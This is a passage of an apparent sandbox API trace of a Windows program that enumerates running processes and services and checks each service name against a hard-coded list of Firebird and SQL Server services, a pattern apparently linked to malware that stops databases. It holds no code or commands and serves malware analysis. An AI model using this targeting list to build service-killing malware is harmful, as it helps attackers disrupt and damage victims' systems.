hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.854] lstrlenW (lpString="svchost.exe") returned 11 [0196.854] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.855] lstrlenW (lpString="svchost.exe") returned 11 [0196.855] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.856] lstrlenW (lpString="svchost.exe") returned 11 [0196.856] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.857] lstrlenW (lpString="svchost.exe") returned 11 [0196.857] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.858] lstrlenW (lpString="svchost.exe") returned 11 [0196.858] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.859] lstrlenW (lpString="svchost.exe") returned 11 [0196.859] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.860] lstrlenW (lpString="svchost.exe") returned 11 [0196.860] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.861] lstrlenW (lpString="svchost.exe") returned 11 [0196.861] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.862] lstrlenW (lpString="svchost.exe") returned 11 [0196.862] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0196.863] lstrlenW (lpString="spoolsv.exe") returned 11 [0196.863] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.864] lstrlenW (lpString="svchost.exe") returned 11 [0196.864] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0196.865] lstrlenW (lpString="audiodg.exe") returned 11 [0196.865] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0196.866] lstrlenW (lpString="sihost.exe") returned 10 [0196.866] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.867] lstrlenW (lpString="svchost.exe") returned 11 [0196.867] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0196.868] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0196.868] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0196.869] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0196.870] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0196.870] lstrlenW (lpString="Memory Compression") returned 18 [0196.871] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0196.871] lstrlenW (lpString="taskhostw.exe") returned 13 [0196.872] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0196.872] lstrlenW (lpString="msoia.exe") returned 9 [0196.873] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0196.874] lstrlenW (lpString="explorer.exe") returned 12 [0196.874] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0196.875] lstrlenW (lpString="SearchUI.exe") returned 12 [0196.875] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0196.876] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0196.876] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0196.878] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0196.878] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0196.879] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0196.879] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0196.880] lstrlenW (lpString="wmxsde.exe") returned 10 [0196.880] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0196.946] lstrlenW (lpString="dllhost.exe") returned 11 [0196.946] Process32NextW (in: hSnapshot=0x528, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0196.947] CloseHandle (hObject=0x528) returned 1 [0196.947] Sleep (dwMilliseconds=0x1f4) [0197.693] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f448 [0197.695] EnumServicesStatusExW (in: hSCManager=0x459f448, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0197.696] GetLastError () returned 0xea [0197.696] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x4663fc0 [0197.697] EnumServicesStatusExW (in: hSCManager=0x459f448, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4663fc0, cbBufSize=0x1bc4, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4663fc0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0197.699] CloseServiceHandle (hSCObject=0x459f448) returned 1 [0197.701] lstrlenW (lpString="Appinfo") returned 7 [0197.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0197.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0197.701] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0197.701] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0197.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0197.701] lstrlenW (lpString="AppXSvc") returned 7 [0197.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0197.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0197.701] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0197.701] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0197.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0197.701] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0197.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0197.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0197.701] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0197.701] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0197.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0197.701] lstrlenW (lpString="Audiosrv") returned 8 [0197.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0197.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0197.702] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0197.702] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0197.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0197.702] lstrlenW (lpString="BFE") returned 3 [0197.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0197.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0197.702] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0197.702] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0197.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0197.702] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0197.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0197.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0197.702] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0197.702] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0197.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0197.702] lstrlenW (lpString="CDPSvc") returned 6 [0197.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0197.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0197.702] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0197.702] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0197.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0197.702] lstrlenW (lpString="ClickToRunSvc") returned 13 [0197.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0197.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0197.703] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0197.703] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0197.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0197.703] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0197.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0197.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0197.703] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0197.703] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0197.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0197.703] lstrlenW (lpString="CryptSvc") returned 8 [0197.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0197.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0197.703] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0197.703] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0197.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0197.703] lstrlenW (lpString="DcomLaunch") returned 10 [0197.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0197.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0197.703] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0197.704] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0197.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0197.704] lstrlenW (lpString="DeviceAssociationService") returned 24 [0197.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0197.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0197.704] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0197.704] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0197.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0197.704] lstrlenW (lpString="Dhcp") returned 4 [0197.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0197.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0197.704] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0197.704] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0197.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0197.704] lstrlenW (lpString="Dnscache") returned 8 [0197.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0197.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0197.704] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0197.704] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0197.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0197.704] lstrlenW (lpString="DPS") returned 3 [0197.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0197.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0197.704] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0197.704] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0197.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0197.705] lstrlenW (lpString="DusmSvc") returned 7 [0197.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0197.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0197.705] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0197.705] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0197.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0197.705] lstrlenW (lpString="EventLog") returned 8 [0197.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0197.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0197.705] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0197.705] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0197.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0197.705] lstrlenW (lpString="EventSystem") returned 11 [0197.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0197.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0197.705] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0197.705] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0197.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0197.705] lstrlenW (lpString="FontCache") returned 9 [0197.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0197.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0197.705] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0197.705] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0197.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0197.705] lstrlenW (lpString="gpsvc") returned 5 [0197.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0197.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0197.706] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0197.706] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0197.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0197.706] lstrlenW (lpString="iphlpsvc") returned 8 [0197.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0197.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0197.706] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0197.706] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0197.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0197.706] lstrlenW (lpString="KeyIso") returned 6 [0197.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0197.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0197.706] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0197.706] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0197.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0197.706] lstrlenW (lpString="LanmanServer") returned 12 [0197.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0197.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0197.706] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0197.706] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0197.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0197.706] lstrlenW (lpString="LanmanWorkstation") returned 17 [0197.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0197.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0197.707] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0197.707] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0197.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0197.707] lstrlenW (lpString="lfsvc") returned 5 [0197.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0197.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0197.707] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0197.707] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0197.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0197.707] lstrlenW (lpString="lmhosts") returned 7 [0197.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0197.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0197.707] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0197.707] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0197.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0197.707] lstrlenW (lpString="LSM") returned 3 [0197.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0197.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0197.707] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0197.707] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0197.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0197.707] lstrlenW (lpString="MpsSvc") returned 6 [0197.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0197.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0197.707] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0197.708] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0197.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0197.708] lstrlenW (lpString="NcbService") returned 10 [0197.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0197.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0197.708] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0197.708] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0197.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0197.708] lstrlenW (lpString="netprofm") returned 8 [0197.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0197.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0197.708] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0197.708] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0197.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0197.708] lstrlenW (lpString="NgcSvc") returned 6 [0197.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0197.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0197.708] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0197.708] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0197.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0197.708] lstrlenW (lpString="NlaSvc") returned 6 [0197.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0197.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0197.708] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0197.708] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0197.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0197.708] lstrlenW (lpString="nsi") returned 3 [0197.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0197.709] 